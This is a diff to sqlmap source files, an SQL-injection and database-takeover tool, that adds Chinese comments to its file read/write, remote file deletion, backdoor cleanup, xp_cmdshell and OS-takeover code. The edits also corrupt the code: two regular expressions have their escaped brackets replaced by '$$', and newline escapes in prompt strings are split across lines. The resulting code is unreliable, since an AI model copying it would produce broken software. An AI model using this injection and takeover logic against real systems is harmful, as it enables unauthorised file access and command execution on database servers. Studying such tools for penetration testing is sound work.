-                debugMsg += "SQL injection technique"
+                debugMsg = "going to try to read the file with non-stacked query "  # 构造调试消息
-                logger.debug(debugMsg)
+                debugMsg += "SQL injection technique"  # 调试消息补充
+                logger.debug(debugMsg)  # 打印调试消息
 
-                fileContent = self.nonStackedReadFile(remoteFile)
+                fileContent = self.nonStackedReadFile(remoteFile)  # 使用非堆叠查询技术读取文件
             else:
-                errMsg = "none of the SQL injection techniques detected can "
+                # 如果无法使用以上技术读取文件
-                errMsg += "be used to read files from the underlying file "
+                errMsg = "none of the SQL injection techniques detected can "  # 构造错误消息
-                errMsg += "system of the back-end %s server" % Backend.getDbms()
+                errMsg += "be used to read files from the underlying file "  # 错误消息补充
-                logger.error(errMsg)
+                errMsg += "system of the back-end %s server" % Backend.getDbms()  # 错误消息补充
+                logger.error(errMsg)  # 打印错误消息
 
-                fileContent = None
+                fileContent = None  # 将文件内容设置为 None
 
-            kb.fileReadMode = False
+            kb.fileReadMode = False  # 设置文件读取模式为 False
 
             if fileContent in (None, "") and not Backend.isDbms(DBMS.PGSQL):
-                self.cleanup(onlyFileTbl=True)
+                # 如果文件内容为空并且不是 PostgreSQL 数据库
+                self.cleanup(onlyFileTbl=True)  # 清理文件表
             elif isListLike(fileContent):
-                newFileContent = ""
+                # 如果文件内容是一个列表
+                newFileContent = ""  # 初始化新的文件内容
 
                 for chunk in fileContent:
+                     # 遍历文件内容中的块
                     if isListLike(chunk):
+                         # 如果块本身是一个列表
                         if len(chunk) > 0:
-                            chunk = chunk[0]
+                             # 如果块列表不为空
+                            chunk = chunk[0]  # 获取块列表的第一个元素
                         else:
-                            chunk = ""
+                             # 如果块列表为空
+                            chunk = ""  # 将块设置为空字符串
 
                     if chunk:
-                        newFileContent += chunk
+                        # 如果块不为空
+                        newFileContent += chunk  # 将块添加到新的文件内容中
 
-                fileContent = newFileContent
+                fileContent = newFileContent  # 将新的文件内容赋值给 fileContent
 
             if fileContent is not None:
-                fileContent = decodeDbmsHexValue(fileContent, True)
+                # 如果文件内容不为空
+                fileContent = decodeDbmsHexValue(fileContent, True)  # 解码文件内容
 
                 if fileContent.strip():
-                    localFilePath = dataToOutFile(remoteFile, fileContent)
+                     # 如果文件内容不为空
-
+                    localFilePath = dataToOutFile(remoteFile, fileContent)  # 将文件内容写入本地文件
                     if not Backend.isDbms(DBMS.PGSQL):
-                        self.cleanup(onlyFileTbl=True)
+                        # 如果不是 PostgreSQL 数据库
+                        self.cleanup(onlyFileTbl=True)  # 清理文件表
 
-                    sameFile = self.askCheckReadFile(localFilePath, remoteFile)
+                    sameFile = self.askCheckReadFile(localFilePath, remoteFile)  # 询问用户是否需要检查读取的文件
 
                     if sameFile is True:
-                        localFilePath += " (same file)"
+                         # 如果文件相同
+                        localFilePath += " (same file)"  # 添加 (same file) 后缀
                     elif sameFile is False:
-                        localFilePath += " (size differs from remote file)"
+                        # 如果文件大小不同
+                        localFilePath += " (size differs from remote file)"  # 添加 (size differs from remote file) 后缀
 
-                    localFilePaths.append(localFilePath)
+                    localFilePaths.append(localFilePath)  # 将本地文件路径添加到列表中
                 elif not kb.bruteMode:
-                    errMsg = "no data retrieved"
+                    # 如果文件内容为空并且不是爆破模式
-                    logger.error(errMsg)
+                    errMsg = "no data retrieved"  # 构造错误消息
+                    logger.error(errMsg)  # 打印错误消息
 
-        return localFilePaths
+        return localFilePaths  # 返回本地文件路径列表
 
     def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
-        written = False
+        """
+        写入本地文件到远程服务器。
+
+        Args:
+            localFile (str): 本地文件路径
+            remoteFile (str): 远程文件路径
+            fileType (str, optional): 文件类型. Defaults to None.
+            forceCheck (bool, optional): 是否强制检查文件长度. Defaults to False.
+
+        Returns:
+            bool: 如果文件写入成功，则返回 True；否则返回 False。
+        """
+        written = False # 初始化写入状态
 
-        checkFile(localFile)
+        checkFile(localFile) # 检查本地文件是否存在
 
-        self.checkDbmsOs()
+        self.checkDbmsOs() # 检查数据库类型和操作系统类型
 
         if localFile.endswith('_'):
-            localFile = getUnicode(decloakToTemp(localFile))
+            # 如果本地文件名以 '_' 结尾
+            localFile = getUnicode(decloakToTemp(localFile))  # 将伪装的文件名转换为临时文件路径
 
         if conf.direct or isStackingAvailable():
+            # 如果使用直接连接或者支持堆叠查询技术
             if isStackingAvailable():
-                debugMsg = "going to upload the file '%s' with " % fileType
+                # 如果支持堆叠查询技术
-                debugMsg += "stacked query technique"
+                debugMsg = "going to upload the file '%s' with " % fileType # 构造调试消息
-                logger.debug(debugMsg)
+                debugMsg += "stacked query technique" # 调试消息补充
+                logger.debug(debugMsg) # 打印调试信息
 
-            written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck)
+            written = self.stackedWriteFile(localFile, remoteFile, fileType, forceCheck) # 使用堆叠查询技术写入文件
-            self.cleanup(onlyFileTbl=True)
+            self.cleanup(onlyFileTbl=True) # 清理临时表
         elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and Backend.isDbms(DBMS.MYSQL):
-            debugMsg = "going to upload the file '%s' with " % fileType
+            # 如果支持 UNION 查询技术并且是 MySQL 数据库
-            debugMsg += "UNION query technique"
+            debugMsg = "going to upload the file '%s' with " % fileType # 构造调试信息
-            logger.debug(debugMsg)
+            debugMsg += "UNION query technique" # 调试消息补充
+            logger.debug(debugMsg) # 打印调试信息
 
-            written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck)
+            written = self.unionWriteFile(localFile, remoteFile, fileType, forceCheck) # 使用 UNION 查询技术写入文件
         elif Backend.isDbms(DBMS.MYSQL):
-            debugMsg = "going to upload the file '%s' with " % fileType
+             # 如果是 MySQL 数据库
-            debugMsg += "LINES TERMINATED BY technique"
+            debugMsg = "going to upload the file '%s' with " % fileType # 构造调试信息
-            logger.debug(debugMsg)
+            debugMsg += "LINES TERMINATED BY technique" # 调试消息补充
+            logger.debug(debugMsg) # 打印调试信息
 
-            written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck)
+            written = self.linesTerminatedWriteFile(localFile, remoteFile, fileType, forceCheck) # 使用 LINES TERMINATED BY 技术写入文件
         else:
-            errMsg = "none of the SQL injection techniques detected can "
+            # 如果以上技术都无法使用
-            errMsg += "be used to write files to the underlying file "
+            errMsg = "none of the SQL injection techniques detected can " # 构造错误消息
-            errMsg += "system of the back-end %s server" % Backend.getDbms()
+            errMsg += "be used to write files to the underlying file "  # 错误消息补充
-            logger.error(errMsg)
+            errMsg += "system of the back-end %s server" % Backend.getDbms() # 错误消息补充
+            logger.error(errMsg) # 打印错误消息
 
-            return None
+            return None  # 返回 None
 
-        return written
+        return written # 返回写入状态

src/sqlmap-master/plugins/generic/misc.py

@@ -5,200 +5,211 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import ntpath
+# 导入必要的模块
-import re
+import ntpath # 导入 ntpath 模块，用于处理 Windows 路径
-
+import re # 导入 re 模块，用于正则表达式
-from lib.core.common import Backend
+
-from lib.core.common import hashDBWrite
+from lib.core.common import Backend # 导入 Backend 类，用于访问后端数据库信息
-from lib.core.common import isStackingAvailable
+from lib.core.common import hashDBWrite # 导入 hashDBWrite 函数，用于写入哈希数据库
-from lib.core.common import normalizePath
+from lib.core.common import isStackingAvailable # 导入 isStackingAvailable 函数，用于检查是否支持堆叠查询
-from lib.core.common import ntToPosixSlashes
+from lib.core.common import normalizePath # 导入 normalizePath 函数，用于规范化路径
-from lib.core.common import posixToNtSlashes
+from lib.core.common import ntToPosixSlashes # 导入 ntToPosixSlashes 函数，用于将 Windows 路径转换为 POSIX 路径
-from lib.core.common import readInput
+from lib.core.common import posixToNtSlashes # 导入 posixToNtSlashes 函数，用于将 POSIX 路径转换为 Windows 路径
-from lib.core.common import singleTimeDebugMessage
+from lib.core.common import readInput # 导入 readInput 函数，用于读取用户输入
-from lib.core.common import unArrayizeValue
+from lib.core.common import singleTimeDebugMessage # 导入 singleTimeDebugMessage 函数，用于输出单次调试信息
-from lib.core.data import conf
+from lib.core.common import unArrayizeValue # 导入 unArrayizeValue 函数，用于将数组值转换为单个值
-from lib.core.data import kb
+from lib.core.data import conf # 导入 conf 对象，用于访问全局配置信息
-from lib.core.data import logger
+from lib.core.data import kb # 导入 kb 对象，用于访问全局知识库
-from lib.core.data import queries
+from lib.core.data import logger # 导入 logger 对象，用于输出日志
-from lib.core.enums import DBMS
+from lib.core.data import queries # 导入 queries 字典，存储数据库查询语句
-from lib.core.enums import HASHDB_KEYS
+from lib.core.enums import DBMS # 导入 DBMS 枚举，定义数据库管理系统类型
-from lib.core.enums import OS
+from lib.core.enums import HASHDB_KEYS # 导入 HASHDB_KEYS 枚举，定义哈希数据库键值
-from lib.core.exception import SqlmapNoneDataException
+from lib.core.enums import OS # 导入 OS 枚举，定义操作系统类型
-from lib.request import inject
+from lib.core.exception import SqlmapNoneDataException # 导入 SqlmapNoneDataException 异常类
-
+from lib.request import inject # 导入 inject 函数，用于执行 SQL 注入请求
+
+# 定义 Miscellaneous 类，用于实现杂项功能
 class Miscellaneous(object):
     """
     This class defines miscellaneous functionalities for plugins.
     """
 
+    # 初始化 Miscellaneous 类
     def __init__(self):
         pass
 
+    # 定义 getRemoteTempPath 方法，用于获取远程临时路径
     def getRemoteTempPath(self):
-        if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL):
+        if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL): # 如果没有设置临时路径且数据库是 MSSQL
-            debugMsg = "identifying Microsoft SQL Server error log directory "
+            debugMsg = "identifying Microsoft SQL Server error log directory " # 输出调试信息
             debugMsg += "that sqlmap will use to store temporary files with "
             debugMsg += "commands' output"
             logger.debug(debugMsg)
 
-            _ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False))
+            _ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False)) # 获取错误日志文件路径
 
-            if _:
+            if _: # 如果获取到路径
-                conf.tmpPath = ntpath.dirname(_)
+                conf.tmpPath = ntpath.dirname(_) # 设置临时路径为错误日志文件所在的目录
 
-        if not conf.tmpPath:
+        if not conf.tmpPath: # 如果没有设置临时路径
-            if Backend.isOs(OS.WINDOWS):
+            if Backend.isOs(OS.WINDOWS): # 如果操作系统是 Windows
-                if conf.direct:
+                if conf.direct: # 如果是直接连接
-                    conf.tmpPath = "%TEMP%"
+                    conf.tmpPath = "%TEMP%" # 设置临时路径为 %TEMP%
                 else:
-                    self.checkDbmsOs(detailed=True)
+                    self.checkDbmsOs(detailed=True) # 检测数据库操作系统
 
-                    if Backend.getOsVersion() in ("2000", "NT"):
+                    if Backend.getOsVersion() in ("2000", "NT"): # 如果是 Windows 2000 或 NT
-                        conf.tmpPath = "C:/WINNT/Temp"
+                        conf.tmpPath = "C:/WINNT/Temp" # 设置临时路径
-                    elif Backend.isOs("XP"):
+                    elif Backend.isOs("XP"): # 如果是 Windows XP
-                        conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp"
+                        conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp" # 设置临时路径
-                    else:
+                    else: # 如果是其他 Windows 版本
-                        conf.tmpPath = "C:/Windows/Temp"
+                        conf.tmpPath = "C:/Windows/Temp" # 设置临时路径
-            else:
+            else: # 如果操作系统不是 Windows
-                conf.tmpPath = "/tmp"
+                conf.tmpPath = "/tmp" # 设置临时路径为 /tmp
 
-        if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I):
+        if re.search(r"\A[\w]:[\/\$$+", conf.tmpPath, re.I): # 如果临时路径是 Windows 格式
-            Backend.setOs(OS.WINDOWS)
+            Backend.setOs(OS.WINDOWS) # 设置操作系统为 Windows
 
-        conf.tmpPath = normalizePath(conf.tmpPath)
+        conf.tmpPath = normalizePath(conf.tmpPath) # 规范化临时路径
-        conf.tmpPath = ntToPosixSlashes(conf.tmpPath)
+        conf.tmpPath = ntToPosixSlashes(conf.tmpPath) # 将临时路径转换为 POSIX 格式
 
-        singleTimeDebugMessage("going to use '%s' as temporary files directory" % conf.tmpPath)
+        singleTimeDebugMessage("going to use '%s' as temporary files directory" % conf.tmpPath) # 输出调试信息
 
-        hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath)
+        hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath) # 写入哈希数据库
 
-        return conf.tmpPath
+        return conf.tmpPath # 返回临时路径
 
+    # 定义 getVersionFromBanner 方法，用于从 banner 中获取数据库版本
     def getVersionFromBanner(self):
-        if "dbmsVersion" in kb.bannerFp:
+        if "dbmsVersion" in kb.bannerFp: # 如果 banner 中已经有版本信息
-            return
+            return # 直接返回
 
-        infoMsg = "detecting back-end DBMS version from its banner"
+        infoMsg = "detecting back-end DBMS version from its banner" # 输出信息
         logger.info(infoMsg)
 
-        query = queries[Backend.getIdentifiedDbms()].banner.query
+        query = queries[Backend.getIdentifiedDbms()].banner.query # 获取 banner 查询语句
 
-        if conf.direct:
+        if conf.direct: # 如果是直接连接
-            query = "SELECT %s" % query
+            query = "SELECT %s" % query # 添加 SELECT 关键字
 
-        kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query)) or ""
+        kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query)) or "" # 获取 banner 信息
 
-        match = re.search(r"\d[\d.-]*", kb.bannerFp["dbmsVersion"])
+        match = re.search(r"\d[\d.-]*", kb.bannerFp["dbmsVersion"]) # 使用正则表达式匹配版本号
-        if match:
+        if match: # 如果匹配成功
-            kb.bannerFp["dbmsVersion"] = match.group(0)
+            kb.bannerFp["dbmsVersion"] = match.group(0) # 设置版本号
 
+    # 定义 delRemoteFile 方法，用于删除远程文件
     def delRemoteFile(self, filename):
-        if not filename:
+        if not filename: # 如果文件名为空
-            return
+            return # 直接返回
 
-        self.checkDbmsOs()
+        self.checkDbmsOs() # 检测数据库操作系统
 
-        if Backend.isOs(OS.WINDOWS):
+        if Backend.isOs(OS.WINDOWS): # 如果操作系统是 Windows
-            filename = posixToNtSlashes(filename)
+            filename = posixToNtSlashes(filename) # 将路径转换为 Windows 格式
-            cmd = "del /F /Q %s" % filename
+            cmd = "del /F /Q %s" % filename # 构建删除命令
-        else:
+        else: # 如果操作系统不是 Windows
-            cmd = "rm -f %s" % filename
+            cmd = "rm -f %s" % filename # 构建删除命令
 
-        self.execCmd(cmd, silent=True)
+        self.execCmd(cmd, silent=True) # 执行删除命令
 
+    # 定义 createSupportTbl 方法，用于创建支持表
     def createSupportTbl(self, tblName, tblField, tblType):
-        inject.goStacked("DROP TABLE %s" % tblName, silent=True)
+        inject.goStacked("DROP TABLE %s" % tblName, silent=True) # 删除表（如果存在）
 
-        if Backend.isDbms(DBMS.MSSQL) and tblName == self.cmdTblName:
+        if Backend.isDbms(DBMS.MSSQL) and tblName == self.cmdTblName: # 如果是 MSSQL 并且表名是命令表
-            inject.goStacked("CREATE TABLE %s(id INT PRIMARY KEY IDENTITY, %s %s)" % (tblName, tblField, tblType))
+            inject.goStacked("CREATE TABLE %s(id INT PRIMARY KEY IDENTITY, %s %s)" % (tblName, tblField, tblType)) # 创建表，包含自增 id
-        else:
+        else: # 如果不是 MSSQL 或表名不是命令表
-            inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
+            inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType)) # 创建表
 
+    # 定义 cleanup 方法，用于清理文件系统和数据库
     def cleanup(self, onlyFileTbl=False, udfDict=None, web=False):
         """
         Cleanup file system and database from sqlmap create files, tables
         and functions
         """
 
-        if web and self.webBackdoorFilePath:
+        if web and self.webBackdoorFilePath: # 如果是 web 模式且有 web 后门文件路径
-            logger.info("cleaning up the web files uploaded")
+            logger.info("cleaning up the web files uploaded") # 输出信息
 
-            self.delRemoteFile(self.webStagerFilePath)
+            self.delRemoteFile(self.webStagerFilePath) # 删除 web stager 文件
-            self.delRemoteFile(self.webBackdoorFilePath)
+            self.delRemoteFile(self.webBackdoorFilePath) # 删除 web 后门文件
 
-        if (not isStackingAvailable() or kb.udfFail) and not conf.direct:
+        if (not isStackingAvailable() or kb.udfFail) and not conf.direct: # 如果不支持堆叠查询或 udf失败且不是直接连接
-            return
+            return # 直接返回
 
-        if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and kb.copyExecTest:
+        if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and kb.copyExecTest: # 如果执行系统命令/shell 且是 PostgreSQL 且 copyExecTest 为 True
-            return
+            return # 直接返回
 
-        if Backend.isOs(OS.WINDOWS):
+        if Backend.isOs(OS.WINDOWS): # 如果操作系统是 Windows
-            libtype = "dynamic-link library"
+            libtype = "dynamic-link library" # 设置库类型为动态链接库
 
-        elif Backend.isOs(OS.LINUX):
+        elif Backend.isOs(OS.LINUX): # 如果操作系统是 Linux
-            libtype = "shared object"
+            libtype = "shared object" # 设置库类型为共享对象
 
-        else:
+        else: # 如果是其他操作系统
-            libtype = "shared library"
+            libtype = "shared library" # 设置库类型为共享库
 
-        if onlyFileTbl:
+        if onlyFileTbl: # 如果只清理文件表
-            logger.debug("cleaning up the database management system")
+            logger.debug("cleaning up the database management system") # 输出调试信息
-        else:
+        else: # 如果清理所有
-            logger.info("cleaning up the database management system")
+            logger.info("cleaning up the database management system") # 输出信息
 
-        logger.debug("removing support tables")
+        logger.debug("removing support tables") # 输出调试信息
-        inject.goStacked("DROP TABLE %s" % self.fileTblName, silent=True)
+        inject.goStacked("DROP TABLE %s" % self.fileTblName, silent=True) # 删除文件表
-        inject.goStacked("DROP TABLE %shex" % self.fileTblName, silent=True)
+        inject.goStacked("DROP TABLE %shex" % self.fileTblName, silent=True) # 删除文件表 (hex)
 
-        if not onlyFileTbl:
+        if not onlyFileTbl: # 如果不是只清理文件表
-            inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True)
+            inject.goStacked("DROP TABLE %s" % self.cmdTblName, silent=True) # 删除命令表
 
-            if Backend.isDbms(DBMS.MSSQL):
+            if Backend.isDbms(DBMS.MSSQL): # 如果是 MSSQL
-                udfDict = {"master..new_xp_cmdshell": {}}
+                udfDict = {"master..new_xp_cmdshell": {}} # 设置要删除的 udf (xp_cmdshell)
 
-            if udfDict is None:
+            if udfDict is None: # 如果 udfDict 为空
-                udfDict = getattr(self, "sysUdfs", {})
+                udfDict = getattr(self, "sysUdfs", {}) # 获取系统 udf
 
-            for udf, inpRet in udfDict.items():
+            for udf, inpRet in udfDict.items(): # 遍历 udf
-                message = "do you want to remove UDF '%s'? [Y/n] " % udf
+                message = "do you want to remove UDF '%s'? [Y/n] " % udf # 输出询问信息
 
-                if readInput(message, default='Y', boolean=True):
+                if readInput(message, default='Y', boolean=True): # 获取用户输入
-                    dropStr = "DROP FUNCTION %s" % udf
+                    dropStr = "DROP FUNCTION %s" % udf # 构建删除 udf 命令
 
-                    if Backend.isDbms(DBMS.PGSQL):
+                    if Backend.isDbms(DBMS.PGSQL): # 如果是 PostgreSQL
-                        inp = ", ".join(i for i in inpRet["input"])
+                        inp = ", ".join(i for i in inpRet["input"]) # 获取输入参数
-                        dropStr += "(%s)" % inp
+                        dropStr += "(%s)" % inp # 添加输入参数到删除命令
 
-                    logger.debug("removing UDF '%s'" % udf)
+                    logger.debug("removing UDF '%s'" % udf) # 输出调试信息
-                    inject.goStacked(dropStr, silent=True)
+                    inject.goStacked(dropStr, silent=True) # 删除 udf
 
-            logger.info("database management system cleanup finished")
+            logger.info("database management system cleanup finished") # 输出信息
 
-            warnMsg = "remember that UDF %s files " % libtype
+            warnMsg = "remember that UDF %s files " % libtype # 构建警告信息
 
-            if conf.osPwn:
+            if conf.osPwn: # 如果开启 osPwn 功能
-                warnMsg += "and Metasploit related files in the temporary "
+                warnMsg += "and Metasploit related files in the temporary " # 添加 Metasploit 相关文件信息
                 warnMsg += "folder "
 
-            warnMsg += "saved on the file system can only be deleted "
+            warnMsg += "saved on the file system can only be deleted " # 添加手动删除信息
             warnMsg += "manually"
-            logger.warning(warnMsg)
+            logger.warning(warnMsg) # 输出警告信息
 
+    # 定义 likeOrExact 方法，用于选择 LIKE 或精确匹配
     def likeOrExact(self, what):
-        message = "do you want sqlmap to consider provided %s(s):\n" % what
+        message = "do you want sqlmap to consider provided %s(s):\
-        message += "[1] as LIKE %s names (default)\n" % what
+" % what # 构建询问信息
+        message += "[1] as LIKE %s names (default)\
+" % what
         message += "[2] as exact %s names" % what
 
-        choice = readInput(message, default='1')
+        choice = readInput(message, default='1') # 获取用户选择
 
-        if not choice or choice == '1':
+        if not choice or choice == '1': # 如果选择 LIKE 匹配
             choice = '1'
-            condParam = " LIKE '%%%s%%'"
+            condParam = " LIKE '%%%s%%'" # 设置 LIKE 条件
-        elif choice == '2':
+        elif choice == '2': # 如果选择精确匹配
-            condParam = "='%s'"
+            condParam = "='%s'" # 设置精确匹配条件
-        else:
+        else: # 如果输入非法
-            errMsg = "invalid value"
+            errMsg = "invalid value" # 输出错误信息
-            raise SqlmapNoneDataException(errMsg)
+            raise SqlmapNoneDataException(errMsg) # 抛出异常
-
+
-        return choice, condParam
+        return choice, condParam # 返回选择和条件

src/sqlmap-master/plugins/generic/syntax.py

@@ -5,46 +5,71 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import re
+import re  # 导入re模块，用于正则表达式操作
 
-from lib.core.common import Backend
+from lib.core.common import Backend  # 导入Backend类，用于获取后端数据库信息
-from lib.core.convert import getBytes
+from lib.core.convert import getBytes  # 导入getBytes函数，用于将字符串转换为字节
-from lib.core.data import conf
+from lib.core.data import conf  # 导入conf对象，存储全局配置信息
-from lib.core.enums import DBMS
+from lib.core.enums import DBMS  # 导入DBMS枚举类，定义数据库类型
-from lib.core.exception import SqlmapUndefinedMethod
+from lib.core.exception import SqlmapUndefinedMethod  # 导入SqlmapUndefinedMethod异常类，表示未定义的方法
 
 class Syntax(object):
     """
     This class defines generic syntax functionalities for plugins.
+    这个类定义了插件的通用语法功能。
     """
 
     def __init__(self):
-        pass
+        pass  # 初始化方法，此处为空
 
     @staticmethod
     def _escape(expression, quote=True, escaper=None):
-        retVal = expression
+        """
+        Internal method to escape a given expression.
+        内部方法，用于转义给定的表达式。
 
-        if quote:
+        Args:
-            for item in re.findall(r"'[^']*'+", expression):
+            expression (str): The expression to escape. 要转义的表达式。
-                original = item[1:-1]
+            quote (bool, optional): Whether to handle quoting. 是否处理引号。默认为True
-                if original:
+            escaper (function, optional): The function to use for escaping. 用于转义的函数。默认为None
+        
+        Returns:
+            str: 转义后的表达式
+        """
+        retVal = expression  # 初始化返回值
+
+        if quote:  # 如果需要处理引号
+            for item in re.findall(r"'[^']*'+", expression):  # 查找所有单引号包裹的内容
+                original = item[1:-1]  # 获取引号内的原始内容
+                if original:  # 如果原始内容不为空
                     if Backend.isDbms(DBMS.SQLITE) and "X%s" % item in expression:
-                        continue
+                        continue # 如果是SQLite数据库，且表达式中包含X'...'的格式，则跳过
-                    if re.search(r"\[(SLEEPTIME|RAND)", original) is None:  # e.g. '[SLEEPTIME]' marker
+                    if re.search(r"$$(SLEEPTIME|RAND)", original) is None:  # 检查原始内容是否包含[SLEEPTIME]或[RAND]标记，例如'[SLEEPTIME]'
-                        replacement = escaper(original) if not conf.noEscape else original
+                        replacement = escaper(original) if not conf.noEscape else original  # 如果配置中没有设置noEscape，则使用转义函数进行转义，否则不转义
                         
-                        if replacement != original:
+                        if replacement != original:  # 如果转义后的内容与原始内容不同
-                            retVal = retVal.replace(item, replacement)
+                            retVal = retVal.replace(item, replacement)  # 则替换表达式中的原始内容为转义后的内容
                         elif len(original) != len(getBytes(original)) and "n'%s'" % original not in retVal and Backend.getDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.ORACLE, DBMS.MSSQL):
-                            retVal = retVal.replace("'%s'" % original, "n'%s'" % original)
+                             # 如果原始内容的字节长度与字符串长度不同，且不是n'...'格式，且数据库为MySQL，PostgreSQL，Oracle，MSSQL中的一种
-        else:
+                            retVal = retVal.replace("'%s'" % original, "n'%s'" % original) # 则将表达式中的原始内容替换为n'...'格式，以支持Unicode字符
-            retVal = escaper(expression)
+        else:  # 如果不需要处理引号
+            retVal = escaper(expression) # 使用转义函数进行转义
 
-        return retVal
+        return retVal # 返回转义后的表达式
 
     @staticmethod
     def escape(expression, quote=True):
+        """
+        Generic method to escape a given expression.
+        通用方法，用于转义给定的表达式。
+
+        Args:
+            expression (str): The expression to escape. 要转义的表达式。
+            quote (bool, optional): Whether to handle quoting. 是否处理引号。默认为True
+        
+        Raises:
+            SqlmapUndefinedMethod: 如果没有在具体数据库插件中定义escape方法，则抛出此异常
+        """
         errMsg = "'escape' method must be defined "
         errMsg += "inside the specific DBMS plugin"
-        raise SqlmapUndefinedMethod(errMsg)
+        raise SqlmapUndefinedMethod(errMsg)  # 抛出异常，表示未在具体DBMS插件中定义此方法

src/sqlmap-master/plugins/generic/takeover.py

@@ -5,234 +5,262 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
-import os
+import os  # 导入os模块，提供与操作系统交互的功能
-
+
-from lib.core.common import Backend
+from lib.core.common import Backend  # 导入Backend类，用于获取后端数据库信息
-from lib.core.common import getSafeExString
+from lib.core.common import getSafeExString  # 导入getSafeExString函数，用于获取安全的异常字符串
-from lib.core.common import isDigit
+from lib.core.common import isDigit  # 导入isDigit函数，用于判断字符串是否为数字
-from lib.core.common import isStackingAvailable
+from lib.core.common import isStackingAvailable  # 导入isStackingAvailable函数，用于判断是否支持堆叠查询
-from lib.core.common import openFile
+from lib.core.common import openFile  # 导入openFile函数，用于安全地打开文件
-from lib.core.common import readInput
+from lib.core.common import readInput  # 导入readInput函数，用于安全地读取用户输入
-from lib.core.common import runningAsAdmin
+from lib.core.common import runningAsAdmin  # 导入runningAsAdmin函数，用于判断是否以管理员身份运行
-from lib.core.data import conf
+from lib.core.data import conf  # 导入conf对象，存储全局配置信息
-from lib.core.data import kb
+from lib.core.data import kb  # 导入kb对象，存储全局知识库信息
-from lib.core.data import logger
+from lib.core.data import logger  # 导入logger对象，用于记录日志
-from lib.core.enums import DBMS
+from lib.core.enums import DBMS  # 导入DBMS枚举类，定义数据库类型
-from lib.core.enums import OS
+from lib.core.enums import OS  # 导入OS枚举类，定义操作系统类型
-from lib.core.exception import SqlmapFilePathException
+from lib.core.exception import SqlmapFilePathException  # 导入SqlmapFilePathException异常类，表示文件路径错误
-from lib.core.exception import SqlmapMissingDependence
+from lib.core.exception import SqlmapMissingDependence  # 导入SqlmapMissingDependence异常类，表示缺少依赖
-from lib.core.exception import SqlmapMissingMandatoryOptionException
+from lib.core.exception import SqlmapMissingMandatoryOptionException  # 导入SqlmapMissingMandatoryOptionException异常类，表示缺少必要选项
-from lib.core.exception import SqlmapMissingPrivileges
+from lib.core.exception import SqlmapMissingPrivileges  # 导入SqlmapMissingPrivileges异常类，表示缺少权限
-from lib.core.exception import SqlmapNotVulnerableException
+from lib.core.exception import SqlmapNotVulnerableException  # 导入SqlmapNotVulnerableException异常类，表示目标不漏洞
-from lib.core.exception import SqlmapSystemException
+from lib.core.exception import SqlmapSystemException  # 导入SqlmapSystemException异常类，表示系统错误
-from lib.core.exception import SqlmapUndefinedMethod
+from lib.core.exception import SqlmapUndefinedMethod  # 导入SqlmapUndefinedMethod异常类，表示未定义的方法
-from lib.core.exception import SqlmapUnsupportedDBMSException
+from lib.core.exception import SqlmapUnsupportedDBMSException  # 导入SqlmapUnsupportedDBMSException异常类，表示不支持的数据库类型
-from lib.takeover.abstraction import Abstraction
+from lib.takeover.abstraction import Abstraction  # 导入Abstraction类，用于定义抽象的接管功能
-from lib.takeover.icmpsh import ICMPsh
+from lib.takeover.icmpsh import ICMPsh  # 导入ICMPsh类，用于定义ICMP隧道功能
-from lib.takeover.metasploit import Metasploit
+from lib.takeover.metasploit import Metasploit  # 导入Metasploit类，用于定义Metasploit接管功能
-from lib.takeover.registry import Registry
+from lib.takeover.registry import Registry  # 导入Registry类，用于定义注册表操作功能
 
 class Takeover(Abstraction, Metasploit, ICMPsh, Registry):
     """
     This class defines generic OS takeover functionalities for plugins.
+    这个类定义了插件的通用操作系统接管功能。
     """
 
     def __init__(self):
-        self.cmdTblName = ("%soutput" % conf.tablePrefix)
+        # 初始化命令输出表名称和字段名称
-        self.tblField = "data"
+        self.cmdTblName = ("%soutput" % conf.tablePrefix)  # 命令输出表名，使用配置中的表前缀
+        self.tblField = "data"  # 表字段名，存储命令输出数据
 
-        Abstraction.__init__(self)
+        Abstraction.__init__(self)  # 初始化Abstraction基类
 
     def osCmd(self):
+        """
+        Executes a single operating system command.
+        执行单个操作系统命令。
+        """
+        # 判断是否可以通过堆叠查询或直接连接执行系统命令
         if isStackingAvailable() or conf.direct:
-            web = False
+            web = False  # 如果支持堆叠查询或直接连接，则不使用Web后门
         elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
             infoMsg = "going to use a web backdoor for command execution"
             logger.info(infoMsg)
 
-            web = True
+            web = True  # 如果不支持堆叠查询且是MySQL数据库，则使用Web后门
         else:
             errMsg = "unable to execute operating system commands via "
             errMsg += "the back-end DBMS"
-            raise SqlmapNotVulnerableException(errMsg)
+            raise SqlmapNotVulnerableException(errMsg)  # 否则抛出异常，表示无法通过后端数据库执行系统命令
 
-        self.getRemoteTempPath()
+        self.getRemoteTempPath()  # 获取远程临时路径
-        self.initEnv(web=web)
+        self.initEnv(web=web)  # 初始化环境
 
